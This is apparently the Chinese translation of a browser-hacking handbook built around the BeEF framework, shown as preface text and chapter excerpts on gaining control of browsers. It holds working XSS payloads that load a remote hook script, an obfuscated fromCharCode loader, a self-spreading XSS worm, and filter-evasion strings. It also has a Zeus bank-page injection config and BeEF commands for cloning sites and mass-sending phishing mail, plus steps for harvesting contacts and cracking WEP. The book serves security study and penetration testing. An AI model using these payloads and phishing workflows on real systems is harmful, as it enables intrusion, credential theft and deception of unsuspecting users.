未知攻，焉知防？本书是业界公认的最流行的浏览器利用工具BeEF的作者Wade等人结合自己亲身实践经验鼎力创作的，系统地介绍了浏览器的攻防技术。全书以BeFF工具为基础，将浏览器攻防分为初始化、持久化和攻击三大阶段，并在攻击阶段中从用户、浏览器核心、扩展、插件、Web应用和网络等多个方面去细化。全书一共分七个大类讲浏览器攻击方法：初始化、持久化、攻击用户和攻击浏览器、攻击扩展、攻击插件、攻击Web应用和攻击网络。每一章基本按攻击方法划分，作者对安全攻防的归类组织结构做到了一页不差，相关的技术点叙述得很清晰、很全面，并有基于BeEF等工具的实际演示，读者能很快理解和上手。很多技术点能从原理上阐述清楚，这很难能可贵。同时，攻击手段上的很多“奇技淫巧”深受广大黑客的喜爱。对爱好浏览器安全并打算详细了解和学习相关专业知识的人来说，这本书是最好不过的选择。本书是迄今为止介绍浏览器攻防实战的最详细之作。 最后特别感谢团队leader张鲁和团队成员为本书审校付出的心血！ 奇虎360信息安全部 0KEE TEAM 李响 2016年8月 Unknown 在线资源 本书网站为 https://browserhacker.com 。Wiley上的本书主页为 http://www.wiley.com/go/browser-hackershandbook 。在这两个网站上，读者可以找到本书的附加内容。尽管不能替代本书，但这些附加资源是本书中内容的有益补充。 网站上还包含可以复制粘贴的代码。这样可以你节省手工输入的时间，也希望能帮你避免攻击中的麻烦。此外，还有演示视频和每章后面问题的答案。 本书不可避免地会有这样或那样的错误，这一点我们都知道。很不幸，本书三位作者中有两位不靠谱（至于靠谱的是哪一位，至今我们三个还在激烈地争论）。如果你想知道现在我们是否有了结论，可以访问网站 https://browserhacker.com ，当然更重要的是，你也可以找到对其他读者发现的错误的修正。如果你也发现了错误，而且网站中还没有列出，请告诉我们。 Unknown 2.1 理解控制初始化 获得初始控制权的第一步，就是寻找机会对目标施加某种程度的影响。为此，就要执行你设计好的初始化指令。把初始化指令安插进目标浏览器，就是初始化控制和攻击浏览器的首要任务。 代码的形式有很多。比如，JavaScript、HTML、CSS或其他浏览器能理解的代码，都可以成为初始控制的工具。有时候，初始代码的逻辑甚至可以封装在字节码文件中，比如一个恶意的SWF文件（Adobe Flash文件格式）。 采用什么技术实现对目标的控制，很大程度上取决于攻击的环境。如果使用了被盗用的站点，那么可以通过顺路下载来做。可是，如果你想要采用钓鱼式攻击，那么XSS可能是最好的选择。而如果你是在一间咖啡店，那么网络攻击恐怕最合适。随后几节，我们会逐一探讨这些攻击方法。 本章，我们会接触一个术语，叫 勾连 （hook）。勾连浏览器始于执行初始代码，然后是维护通信渠道（下一章再介绍）。当然，首先要让你宝贵的代码进入目标浏览器。 Unknown 第 10 章 攻击网络 不要忘了本书里时不时就会讨论到的支持应用协议的底层环境和技术。HTTP对底层OSI分层模型的依赖程度，与应用层中定义的其他协议是一样的。 关注攻击浏览器和Web应用是一件事，而深入底层网络又会为你打开另一番新天地。只有在网络层才能直接访问那些非HTTP服务，包括电子邮件、打印、IRC（Internet Relay Chat）等。 本章从探讨如何发现勾连浏览器的内部网络配置开始。换句话说，就是检测内部IP地址，并进行端口扫描。获得这些信息后，就可以使用一些更高级的技术，比如IPC（Inter-protocol Communication，协议间通信）和IPE（Inter-protocol Exploitation，协议间利用）。 当然，在使用IPE俘获某个目标后，需要让它连接到你控制的设备。常规的反向连接会涉及通过边界防火墙的噪声通信。我们还会介绍一个通过BeEF Bind payload回连的更隐秘的方式，用它把数据反弹到你勾连的浏览器。"},
    {"text": "Unknown 1.6 小结 毫无疑问，浏览器是21世纪这十多年来最重要的一种软件。软件厂商很少为自己的应用开发定制的客户端软件，更多的是使用Web技术开发一个应用界面：不仅仅是传统的在线Web应用，还包含部署在局域网内的本地应用。在服务器-客户端模型中，浏览器占据着不可动摇的统治地位。 浏览器在几乎所有类型的网络应用中都有一席之地，虽然很多组织试图禁用它，但这个愿望只是个泡影。任何组织都不可能放弃浏览器，唯一的选择是在自己的网络中使用它。 黑客攻击浏览器通常会伪装成非恶意的服务器，向浏览器发送有效的通信请求。多数情况下，浏览器不会知晓自己正与一个骗子服务器通信，因此就会执行骗子服务器发来的所有指令，而且还以为自己在防火墙的保护下万无一失呢。 接下来的几章将重点介绍浏览器攻防的方法，教给大家如何利用浏览器及其可以访问的设备。"},
    {"text": "1 Netscape. (1995). Netscape and Sun announce JavaScript for enterprise networks and the Internet . Retrieved February 23, 2013 from http://web.archive.org/web/20070916144913/ http://wp.netscape.com/newsref/pr/new-srelease67.html 接着，JavaScript就问世了。"},
    {"text": "恶意行为最早的形式包括： 2 Carnegie Mellon University. (2000). CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests . Retrieved February 23, 2013 from http://www.cert.org/advisories/CA-2000-02.html cookie篡改 （cookie poisoning） 暴露敏感信息 违背基于来源的安全规则 篡改Web表单 暴露SSL加密的内容 最初的报告把这种攻击描述为通过情况下的“跨站点”脚本执行，最终则被称为Cross-site Scripting，简写成CSS。"},
    {"text": "3 Jeremiah Grossman. (2006). The origins of Cross-Site Scripting (XSS) . Retrieved February 23, 2013 from http://jeremiahgrossman.blogspot.com.au/2006/07/origins-of-cross-site-scripting-xss.html 一般来说，在不可信的内容被处理，然后又被当成可信任内容在浏览器中渲染后，XSS就出现了。"},
    {"text": "4 Jon Oberheide. (2011). How I Almost Won Pwn2Own via XSS . Retrieved March 3, 2013 from http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/ XSS分很多种类，但宽泛地说，它们可能会影响浏览器和服务器中的任何一个。"},
    {"text": "很早就有的 反射型XSS （Reflected XSS）和 持久型XSS （Persistent XSS）是利用服务器端隐患的，而DOM XSS和 通用XSS （Universal XSS，也叫UXSS）利用的则是客户端的缺陷。"},
    {"text": "1. 反射型XSS 反射型XSS是最常见的XSS，其过程是不可信用户数据被提交到一个Web应用，然后该数据立即在响应中被返回，也就是说在页面中反射回了不可信内容。"},
    {"text": "下面是一个存在隐患的JSP代码的例子： <% String userId = request.getParameter(\"user\"); %> Your User ID is <%= userId %> 这行代码接收用户查询参数并将参数内容直接在响应中返回。"},
    {"text": "利用这种隐患很简单，只要在浏览器地址栏内输入以下地址：http://browservictim.com/userhome.jsp?user=<iframe%20src=http://browserhacker.com/></iframe>。"},
    {"text": "同样，要向浏览器中注入远程JavaScript脚本，只需欺骗目标访问以下地址：http://browservictim.com/userhome.jsp?user=<script%20src=http://browserhacker.com/hook.js></script>。"},
    {"text": "Web应用在处理这个URL时，就会在HTML中返回相应的<script>块。 浏览器在接收到响应后，看到其中包含指向远程JavaScript的<script>块，就会在被攻击来源的上下文中执行该脚本。"},
    {"text": "模糊URL 模糊URL的方法如下： 缩短URL 重定向URL 采用URL编码或ASCII编码来编码URL 添加一些多余的、无关的查询参数，把恶意内容放在中间或后面 在URL中使用@符号以添加伪域名内容 把主机名转换为整数，比如http://3409677458 现实中的反射型XSS 现实当中的反射型XSS利用案例实在太多了，我们在这里挂一漏万地只列出几个比较突出的例子。"},
    {"text": "Ramneek Sidhu的“Reflected XSS vulnerability affects millions of sites hosted in HostMonster”（ http://www.ehackingnews.com/2013/01/reflected-xss-hostmonster.html ） HostMonster的主机服务对所有托管的网站都默认提供了一个HTTP 404错误页面。"},
    {"text": "XSSed的“F-Secure, McAfee and Symantec websites again XSSed”（ http://www.xssed.com/news/130/F-Secure_McAfee_and_Symantec_websites_again_XSSed/ ） XSSed是一个报告XSS缺陷的流行网站，发表过一篇汇总主流安全厂商发现的反射型XSS隐患的文章。"},
    {"text": "Michael Sutton的“Mobile App Wall of Shame: ESPN ScoreCenter”（ http://research.zscaler.com/2013/01/mobile-app-wall-of-shameespn.html ） XSS缺陷不一定只存在于标准的浏览器。 ZScaler研究人员Michael Sutton发现了一个移动网站的XSS缺陷，而这个移动网站主要是通过iPhone应用中WebView控制器来渲染的。"},
    {"text": "对攻击者来说，这种XSS是比较有吸引力的，因为不必每次都煞费苦心地设计链接或者采用社会工程手段，相对一劳永逸了，结果则是比较容易被滥用。"},
    {"text": "比如： <% String userDisplayName = request.getParameter(\"userdisplayname\"); String userSession = session.getAttribute('userid'); String dbQuery = \"INSERT INTO users (userDisplayName) VALUES(?) WHERE userId = ?\"; PreparedStatement statement = connection.prepareStatement(dbQuery); statement.setString(1, userDisplayName); statement.setString(2, userSession); statement.executeUpdate(); %> 假设在应用中的某个地方，有代码会提取最后登录用户的列表： <% Statement statement = connection.createStatement(); ResultSet result = statement.executeQuery(\"SELECT * FROM users LIMIT 10\"); %> The top 10 latest users to sign up:<br /> <% while(result.next()) { %> User: <%=result.getString(\"userDisplayName\")%><br /> <% } %> 那么利用这个漏洞（比如访问这个链接：http://browservictim.com/newuser.jsp?userdisplayname=<script%20src=http://browserhacker.com/hook.js></script>），就能让作为攻击者的你威力倍增。"},
    {"text": "Ben Hayak的“Google Mail Hacking - Gmail Stored XSS - 2012! ”（ http://www.benhayak.blogspot.co.uk/2012/06/google-mail-hacking-gmail-stored-xss.html ） Hayak发现了Gmail存在的持久型XSS缺陷。"},
    {"text": "3. DOM XSS DOM XSS是一种纯粹的客户端XSS类型，不依赖Web应用处理用户输入时的漏洞。 与反射型和存储型XSS相比，DOM XSS的不同之处在于只利用客户端代码（比如JavaScript）中存在的缺陷。"},
    {"text": "这段代码会根据URL中的内容动态修改页面，使用的代码如下： document.write(document.location.href.substr( document.location.href.search( /#welcomemessage/i)+16,document.location.href.length)) 这段代码会收集URL的 #welcomemessage=x 参数之后的文本，其中 x 可能包含任意字符，最终要写到当前网页的文档中。 比如，使用下面的URL，http://browservictim.com/homepage.html#welcomemessage=Hiya，在JavaScript执行之后，就会在页面主体中插入文本 'Hiya' 。 那么包含恶意代码的URL就可以是http://browservictim.com/homepage.html#welcomemessage=<script>document.location='http://browserhacker.com'</script>。 这样就会把JavaScript脚本插入DOM，导致浏览器重定向到http://browserhacker.com。"},
    {"text": "另一种可能被利用的隐患的代码如下所示： function getId(id){ console.log('id: ' + id); } var url = window.location.href; var pos = url.indexOf(\"id=\")+3; var len = url.length; var id = url.substring(pos,len); eval('getId(' + id.toString() + ')'); 把恶意代码注入 id 参数，就可以利用以上代码。 在这个例子中，假设你想注入一个加载和执行远程JavaScript文件的指令，就可以使用下面这个DOM XSS攻击： http://browservictim.com/page.html?id=1');s=document.createElement('script');s. src='http://browserhacker.com/hook.js';document.getElementsByTagName('head')[0].appendChild(s);// 有读者可能已经猜到了，上面这行代码不会真正执行，因为其中的单引号字符会导致调用 eval() 时出错。"},
    {"text": "为此，可以使用JavaScript的 String.fromCharCode() 方法封装这行代码，得到的URL类似如下所示： http://browservictim.com/page.html?id=1');eval(String.fromCharCode(115, 61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10 9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61 ,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,10 1,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1 09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,9 7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10 1,110,100,67,104,105,108,100,40,115,41,59))// 这个例子展示了利用这种XSS时的一个有意思的问题。"},
    {"text": "Stefano Di Paola的“DOM XSS on Google Plus One Button”（ http://blog.mindedsecurity.com/2012/11/dom-xss-on-google-plus-one-button.html ） Stefano Di Paola发现了谷歌+1按钮JavaScript中的一个CORS的缺陷。"},
    {"text": "Shahin Ramezany的“Yahoo Mail DOM-XSS”（ http://abysssec.com/files/Yahoo!_DOM-SDAY.pdf ） 雅虎一个不幸的用于广告的子域使用了过时的JavaScript，其中暴露出了一个DOM XSS缺陷。"},
    {"text": "var sneaky = 'setTimeout(\"alert(document.cookie);\", 4000); document.location.assign(\"http://www.gmail.com\");'; document.location = 'chromehtml:\"80%20javascript:document.write(sneaky)\"'; 在合适的条件下，攻击者就可以在几乎任何源的名义下对目标发动攻击 5 。"},
    {"text": "5 Roi Saltzman. (2009). Google Chrome Universal XSS Vulnerability . Retrieved March 4, 2013 from http://blog.watchfire.com/wfblog/2009/04/googlechrome-universal-xss-vulnerability-.html 实际应用中，这种攻击一般会更进一步，除了利用浏览器本身的缺陷，还可能利用其扩展和插件的缺陷。"},
    {"text": "6 Wade Alcorn. (2005). The Cross-site Scripting Virus . Retrieved February 23, 2013 from http://www.bindshell.net/papers/xssv.html 这份研究讨论了一种情况，即存储型XSS一旦奏效，有可能导致（受影响源的）后续访问者也会执行恶意JavaScript。"},
    {"text": "相应XSS的攻击代码如下： <iframe name=\"iframex\" id=\"iframex\" src=\"hidden\" style=\"display:none\"> </iframe> <script SRC=\"http://browserhacker.com/xssv.js\"></script> xssv.js文件的内容如下： function loadIframe(iframeName, url) { if ( window.frames[iframeName] ) { window.frames[iframeName].location = url; return false; } else return true; } function do_request() { var ip = get_random_ip(); var exploit_string = '<iframe name=\"iframe2\" id=\"iframe2\" ' + 'src=\"hidden\" style=\"display:none\"></iframe> ' + '<script src=\"http://browserhacker.com/xssv.js\"></script>'; loadIframe('iframe2', \"http://\" + ip + \"/index.php?param=\" + exploit_string); } function get_random() { var ranNum= Math.round(Math.random()*255); return ranNum; } function get_random_ip() { return \"10.0.0.\"+get_random(); } setInterval(\"do_request()\", 10000); 可以看到，这里的JavaScript会定时执行 do_request() ，这个方法基于 loadIframe() 方法随机向不同的主机发动XSS攻击， get_random_ip() 和 get_random() 函数用于产生随机IP。"},
    {"text": "不过请大家注意，XSS病毒的传播与传统计算机病毒传播没有可比性。 特别是在XSS病毒并不会在受感染浏览器中留下有条件可执行文件的情况下，更是如此。"},
    {"text": "通过div的 background:url 参数执行初始的JavaScript，针对IE5和IE6： <div style=\"background:url('javascript:alert(1)')\"> 通过把代码转移到其他地方，然后通过 style 属性运行指令，绕过单引号和双引号转义问题： <div id=\"mycode\" expr=\"alert('hah!')\" style=\"background:url('javascript:eval(document.all.mycode.expr)')\" > 通过插入换行符（ \\n ）绕过对 javascript 这个词的过滤 使用 String.fromCharCode() 方法插入双引号 使用 eval() 方法绕过其他黑名单中的关键词： eval('xmlhttp.onread' + 'ystatechange = callback'); 要查看完整代码及介绍，请访问这个网址： http://namb.la/popular/tech.html 。"},
    {"text": "7 Robert Hansen. (2008). Diminutive Worm Contest Wrapup . Retrieved February 23, 2013 from http://ha.ckers.org/blog/20080110/diminutive-worm-contest-wrapup/ 获胜者Giorgio Maone和Eduardo Vela提交了非常近似的方案。"},
    {"text": "复制后大小不会增加，不需要用户交互，甚至不需要任何cookie数据： <form> <input name=\"content\"> <img src=\"\" onerror=\"with(parentNode) alert('XSS',submit(content.value='<form>'+ innerHTML.slice(action=(method='post')+ '.php',155)))\"> 还有 <form> <INPUT name=\"content\"> <IMG src=\"\" onerror=\"with(parentNode) submit(action=(method='post')+ '.php',content.value='<form>'+ innerHTML.slice(alert('XSS'),155))\"> 可以很清楚地看到，利用这个常见的Web应用缺陷嵌入初始恶意脚本的逻辑有多险恶。"},
    {"text": "目标浏览器中会有很多障碍阻止你执行攻击代码。 我们所说的障碍有很多种，包括被注入上下文的限制，浏览器间的语言差异，浏览器内置的安全机制，甚至Web应用的防御手段。"},
    {"text": "(1) 绕过浏览器XSS防御机制 除了执行JavaScript时可能会遇到的问题，现代浏览器中内置的XSS防御机制也是重要的客户端屏障。 这些防御手段都是为了降低XSS攻击代码在目标浏览器中执行的可能性，比如Chrome和Safari的XSS Auditor、IE的XSS过滤器，以及Firefox的NoScript扩展。 有一种绕过XSS过滤器的技术叫mXSS（mutation-based Cross-site Scripting，基于变异的XSS） 8 ，它依赖于浏览器对输入优化后产生的变异。"},
    {"text": "8 Mario Heiderich, Jorg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Yang. (2013). mXSS attacks: attacking well-secured web applications by using innerHTML mutations . Retrieved October 19, 2013 from https://cure53.de/fp170.pdf 关键是你的输入会以某种方式被优化处理。"},
    {"text": "以下代码演示了mXSS的工作原理： // attacker input to innerHTML <img src=\"test.jpg\" alt=\"``onload=xss()\" /> // browser output <IMG alt=``onload=xss() src=\"test.jpg\"> 这个例子中的重点，在于使用重音符（ ` ）绕过IE的XSS过滤器。"},
    {"text": "但其早期的防范措施也不是十分有效，比如提交下面任何一行代码都可以绕过其过滤器： <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(6))> <%tag style=\"xss:expression(alert(6))\"> 这两个例子利用的都是 expression() ，它是微软Dynamic Properties的一部分。"},
    {"text": "9 Ryan Barnett. (2013). ModSecurity XSS Evasion Challenge Results . Retrieved February 23, 2013 from http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html WAF（或相关）技术使用一个常见的技巧来过滤恶意代码，包括对超出上下文或可疑括号的检测。"},
    {"text": "Gareth Heyes在2012年提出的技术 10 就是成功绕过服务器端防御的一个绝佳例子，它会在DOM对象 window 上附加一个（不带括号的）错误处理程序，然后立即抛出： 10 Gareth Heyes. (2012). XSS technique without parentheses . Retrieved February 23, 2013 from http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/ onerror=alert;throw 1; onerror=eval;throw'=alert\\x281\\x29'; 这两种情况都不包含可疑的括号。"},
    {"text": "XSS备忘录 好吧，我们承认，假如你并非资深的程序员或者JavaScript黑客，那前面的例子一定会让你愁容满面，而且紧握的拳头里可能已经满是急不可耐的汗水！"},
    {"text": "在这里，我们向大家推荐一个著名的Robert Hansen（RSnake）原创的XSS备忘录，这份备忘录已经捐献给了OWASP，可以通过这个网址访问： https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 。"},
    {"text": "Burp Suite的Decoder feature Gareth Hayes的Hackvertor： https://hackvertor.co.uk/public Mario Heiderich的Charset Encoder： http://yehg.net/encoding/ 2.2.2 使用有隐患的Web应用 攻击者获取对浏览器访问权的一种常见方式，就是借助对Web应用的未授权访问。"},
    {"text": "if (document.location.host.indexOf(\"browservictim.com\") >= 0) { var scr = document.createElement('script') scr.setAttribute('src','https://browserhacker.com/hook.js'); document.getElementsByTagName('body').item(0).appendChild(scr); } 使用前面的代码，可以检查来源，看它是不是正确的目标，然后再动态加载脚本。"},
    {"text": "11 Matt Johansen and Jeremiah Grossman. (2013). Million Browser Botnet . Retrieved October 19, 2013 from https://media.blackhat.com/us-13/us-13-Grossman-Million-Browser-Botnet.pdf 2.2.4 使用社会工程攻击 社会工程是一系列方法的统称，这些方法的目标是强迫某人执行某些操作或者透露某些信息。"},
    {"text": "钓鱼需要多个部分协同配合，包括伪造的网站、伪造的邮件，有时候还有伪造的即时消息。 钓鱼邮件与垃圾邮件的策略通常是一样的，即意图引诱受害者访问伪造的网站。"},
    {"text": "鱼叉式钓鱼是一种与常规钓鱼类似的技术，但不同的是，它的目标不是大量受害者，而是少数受害者。 因此鱼叉式钓鱼可以收集更多受害者的背景信息，进而精细准备诱饵，从而达到更有效欺骗受害者的目的。"},
    {"text": "更多内容可以参考 http://blogs.rsa.com/anatomy-of-an-attack/ 或者 http://www.theregister.co.uk/2011/03/18/rsa_breach_leaks_securid_data/ 。"},
    {"text": "利用钓鱼技术在目标组织的网络中建立一个攻击阵地，非常类似骗子行骗的节奏，只不过你想要的不是只获得一些重要凭据或其他信息，而是试图在目标浏览器中注入自己的指令。"},
    {"text": "12 Andrew Levin. (2007). File:PhishingTrustedBank.png . Retrieved February 23, 2013 from http://en.wikipedia.org/wiki/File:PhishingTrustedBank.png 在目标浏览器中，你的首要目的是让它执行你的代码。"},
    {"text": "比如，你想攻击一家能源公司，就不会去伪造一个网上银行的门户网站，而是伪造一个与能源产业利益相关的网站，比如某能源管理机构的网站。"},
    {"text": "显示错误页面 。 某些情况下，其实只要显示一个错误页面就足够了。 结果页面虽然显示的是服务器错误，但实际上则是在其掩护下通过浏览器执行你的代码。"},
    {"text": "“Hi IT Support, I've been browsing your website and I've noticed a weird error message when I performa search. After I click the ‘Search’ button I end up on this page: http://browservictim.com/search.aspx?q=%3c%73%63%72%69%70%74%20 %73%72%63%3d%27%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%73%65%72 %76%65%72%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3e%3c%2f%73%63%72%69 %70%74%3e I'm unsure if this is something wrong with my computer or if you guys are havingan issue? Kind Regards, Joe Bloggs” 其中链接内编码的参数实际上是这样的： <script src='http://browserhacker.com/hook.js'></scrip> 如何克隆网站 克隆网站的方法有很多。"},
    {"text": "要利用这个功能，通过 ./beef 运行BeEF，然后在相应终端中执行以下代码，以使用BeEF的REST风格API： curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{\"url\":\"<URL of site to clone>\",\"mount\":\"<where to mount>\"}' -X POST http:/<BeEFURL>/api/seng/clone_page?token=<token> 执行之后，BeEF控制台会显示： [18:19:17][*] BeEF hook added :-D 图2-2展示了一个BeEF控制台输出的截图。"},
    {"text": "还可以把这些位于BeEF的cloned_pages文件夹中的文件上传到其他地方，对克隆的网站进行定制： beef/extensions/social_engineering/web_cloner/cloned_pages/<dom>_mod 不管用什么方法构建HTML，最重要的还是要把包含初始代码的钓鱼内容藏进去。"},
    {"text": "不过也很简单，基本上就是在关闭的 </body> 标签前面插入类似如下的一行代码： <script src=http://browserhacker.com/hook.js></script> 在需要通过互联网访问钓鱼内容的情况下，需要考虑把Web应用托管到什么地方。"},
    {"text": "可以通过执行下列命令运行它： ./urlcrazy <domain> 图2-3展示了以上命令执行后的输出。 图 2-3 URLCrazy的输出 还可以使用短URL进一步模糊钓鱼网站的信息。"},
    {"text": "拥有域名的好处还包括能够在DNS记录中配置SPF（Sender Policy Framework，发件人策略框架）。 在DNS中将SPF配置为SPF或TXT记录，可以指定哪个IP地址能够自己向外发送电子邮件。 SPF的目的是杜绝垃圾邮件发送者以他们本来没有权限的域的名义发送邮件。 SMTP服务器接收到特定IP地址发送的邮件后，可以查询对应域的SPF记录，验证该IP是否被允许发送电子邮件。"},
    {"text": "比如，microsoft.com的TXT记录中包含如下信息： v=spf1 include:_spf-a.microsoft.com include:_spf-b.microsoft.com include:_spf-c. microsoft.com include:_spf-ssg-a.microsoft.com ip4:131.107.115.215 ip4:131.107. 115.214 ip4:205.248.106.64 ip4:205.248.106.30ip4:205.248.106.32 ~all\" 这条记录的含义如下。"},
    {"text": "13 Maltego. (2012). Maltego: What is Maltego? . Retrieved February 23, 2013 from http://www.paterva.com/web6/products/maltego.php 14 Christian Martorella. (2013). theHarvester information gathering . Retrieved February 23, 2013 from http://code.google.com/p/theharvester/ 获取联系人信息 Recon-ng是用Python写的模块化的Web侦察框架，它的下载地址是 https://bitbucket.org/LaNMaSteR53/recon-ng 。"},
    {"text": "要从jigsaw.com获取电子邮件地址，需先通过执行 ./recon-ng 启动Recon-ng，然后再执行以下步骤： recon-ng > use recon/contacts/gather/http/jigsaw recon-ng [jigsaw] > set COMPANY <目标公司名> recon-ng [jigsaw] > set KEYWORDS <你想追加的关键词> recon-ng [jigsaw] > run recon-ng [jigsaw] > back recon-ng > use reporting/csv_file recon-ng [csv_file] > run 在数据文件夹内，会生成一个results.csv文件，其中包含获取的联系人信息。"},
    {"text": "要使用theHarvester，只需执行以下命令： ./theHarvester.py -d <目标域> -l <有限的结果数量>\\ -b <数据源：例如google> 取得了电子邮件地址的列表后，下一步是制作诱饵。"},
    {"text": "发送邮件的一个方法，就是使用BeEF的社会工程邮件群发器。 使用BeEF的邮件群发器 BeEF的邮件群发器在使用前需要设置一下。 设置之后，就可以方便地群发纯文本以及HTML格式的邮件了。 首先，配置邮件群发器。 打开并编辑beef/extensions/social_engineering/config.yaml，找到mass_mailer部分： user_agent: \"Microsoft-MacOutlook/12.12.0.111556\" host: \"<SMTP服务器地址>\" port: <SMTP服务器端口> use_auth: <true或false> use_tls: <true或false> helo: \"<发件地址域名，如：europowerregulator.com>\" from: \"<发件地址，如: marketing@europowerregulator.com>\" password: \"<SMTP服务器密码>\" 接下来要配置电子邮件模板。"},
    {"text": "BeEF中提供了一个名为“edfenergy”的示例，还在那个config.yaml文件中，可以找到其配置项： edfenergy: images: [\"corner-tl.png\", \"main.png\", \"edf_logo.png\", \"promo-corner-left.png\", \"promo-corner-right-arrow.png\", \"promo-reflection.png\", \"2012.png\", \"corner-bl.png\", \"corner-br.png\", \"bottom-border.png\"] images_cids: cid1: \"corner-tl.png\" cid2: \"main.png\" cid3: \"edf_logo.png\" cid4: \"promo-corner-left.png\" cid5: \"promo-corner-right-arrow.png\" cid6: \"promo-reflection.png\" cid7: \"2012.png\" cid8: \"corner-bl.png\" cid9: \"corner-br.png\" cid10: \"bottom-border.png\" 这里配置的主要是将来模板中会被替换的图片以及ID引用。"},
    {"text": "在BeEF运行的情况下，打开一个新的终端，然后执行以下 curl 命令： curl -H \"Content-Type: application/json; charset=UTF-8\"\\ -d '{\"template\":\"edfenergy\",\"subject\":\"<邮件主题>\",\\ \"fromname\":\"<发件人>\",\"link\":\"<钓鱼网站URL>\",\\ \"linktext\":\"<骗人的链接文字>\",\"recipients\":[{\"<目标的邮箱>\":\\ \"<目标的名字>\",\"<目标2的邮箱>\":\"<目标2的名字>\"}]}' \\ -X POST http://<BeEFURL>/api/seng/send_mails?token=<token> 通过这里的选项，可以配置以下内容。"},
    {"text": "执行以上命令后，BeEF控制台就会显示如下信息： Mail 1/2 to [target1@email.com] sent. Mail 2/2 to [target2@email.com] sent. 发送完钓鱼邮件后，钓鱼活动就正式开始了。"},
    {"text": "15 BBC. (2004). Passwords revealed by sweet deal . Retrieved February 23, 2013 from http://news.bbc.co.uk/2/hi/technology/3639679.stm 当然，只是知道某人的电脑密码也不一定能帮你侵入他的浏览器。"},
    {"text": "16 John Leyden. (2012). That square QR barcode on the poster? Check it's not a sticker . Retrieved February 23, 2013 from http://www.theregister.co.uk/2012/12/10/qr_code_sticker_scam/ 生成QR码也很简单，比如可以使用谷歌的Chart API 17 。 访问下面的地址，就可以用这个工具生成QR码，这个QR码里需要包含宽度、高度和需要编码的信息等参数： 17 Google. (2012). Google Chart Tools . Retrieved March 3, 2013 from https://developers.google.com/chart/ https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=http://browserhacker.com 此外，BeEF也有一个QR Code Generator模块，能够为你生成Google Chart的URL。"},
    {"text": "配置这个扩展需要编辑beef/extensions/qrcode/config.yaml文件： enable: true target: [\"http://<钓鱼URL>\",\"/<BeEF的相对链接>\"] qrsize: \"300x300\" 配置之后，启动BeEF就会给出相应的Google Chart的URL。"},
    {"text": "18 Google. (2012). Safe Browsing API . Retrieved March 3, 2013 from https://developers.google.com/safe-browsing/ 如果你的钓鱼攻击目标很窄，那么其中一个目标会上报你的域或者（至少初始时）被自动发现的可能性就会比较小。"},
    {"text": "19 Amit Klein. (2010). The Golden Hour of Phishing Attacks . Retrieved February 23, 2013 from http://www.trusteer.com/blog/golden-hour-phishing-attacks 其他反钓鱼工具 除了谷歌的Safe Browsing API，还有很多工具尝试让用户远离可能不安全的站点，比如下面几个： IE的Anti-Phishing Filter McAfee的SiteAdvisor Web of Trust的WOT插件 PhishTank的插件 Netcraft的Anti-Phishing扩展 关键在于怎么让你发送的邮件范围与钓鱼站点恰当地匹配。"},
    {"text": "20 Limor S. Kessem. (2013). Laser Precision Phishing--Are You on the Bouncer's List Today? . Retrieved February 23, 2013 from http://blogs.rsa.com/laser-precision-phishing-are-you-on-the-bouncers-list-today/ 如前所述，有时候单凭技术不可能向隐患Web应用插入初始指令，或者获得某个沟通渠道的访问权限。"},
    {"text": "一种叫作 中间人 （Man-in-the-Middle attack，简称MitM）攻击的老技术，自从人类相互之间通过不可信渠道发送信息开始，就一直是一种流行的攻击技术。 中间人攻击的概念非常简单，就是敌人通过窃听，有可能在信息从发送者传输至接收者的过程中篡改它。"},
    {"text": "1. 浏览器中间人攻击 中间人攻击一直发生在OSI模型的较低层次，位于应用层以下（应用层是HTTP及相关协议运行的层次）。 而 浏览器中间人 （Man-in-the-Browser，MitB）攻击是与传统中间人攻击类似的一种方式，只不过完全发生在浏览器中。 大多数持久JavaScript通信（勾连）逻辑，实际上都是浏览器中间人攻击，具有如下特点： 对用户不可见 对服务器不可见 能够修改当前页面的内容 能够读取当前页面的内容 不需要受害人介入 这种窃取信息的方式也常见于银行恶意软件攻击（比如Zeus或SpyEye，都提供注入功能）。"},
    {"text": "举个例子： 21 Doug MacDonald and Derek Manky. (2009). Zeus: God of DIY Botnets . Retrieved October 19, 2013 from http://www.fortiguard.com/analysis/zeusanalysis.html set_url https://www.yourbank.com/* data_before <div class='footer'> data_end data_inject <script src='https://browserhacker.com/hook.js'></script> data_end data_after </body> data_end 这是Zeus配置文件中的通用配置，这些配置项会在浏览器访问https://www.yourbank.com/中的任意网页时被激活。"},
    {"text": "22 Scott Fluhrer, Itsik Mantin and Adi Shamir. (2001). Weaknesses in the Key Scheduling Algorithm of RC4 . Retrieved February 23, 2013 from http://aboba.drizzlehosting.com/IEEE/rc4_ksaproc.pdf 802.11的安全机制 IEEE 802.11标准问世之初，就加入了安全机制，以降低无线传输过程中泄密、破坏完整性，以及丧失可用性的可能。"},
    {"text": "静态IP过滤 与SSID隐藏类似，尽管静态IP过滤有可能限制对无线路由器DHCP的连接，但IP地址能被无线工具发现，攻击者只要在自己的无线界面中进行简单配置即可连接。"},
    {"text": "使用无线工具找到连接设备的MAC地址后，可以修改你的MAC地址，伪装成允许连接的客户端。 在Windows上，通过配置网络地址设置，可以在无线适配器的高级属性中修改MAC地址。 在Linux上，可以使用 ifconfig 命令修改MAC地址： ifconfig <接口> hw ether <MAC地址> OS X与Linux类似： sudo ifconfig <接口> ether <MAC地址> WEP 使用Aircrack-ng 23 套件，只需简单的几步即可破解WEP密钥。"},
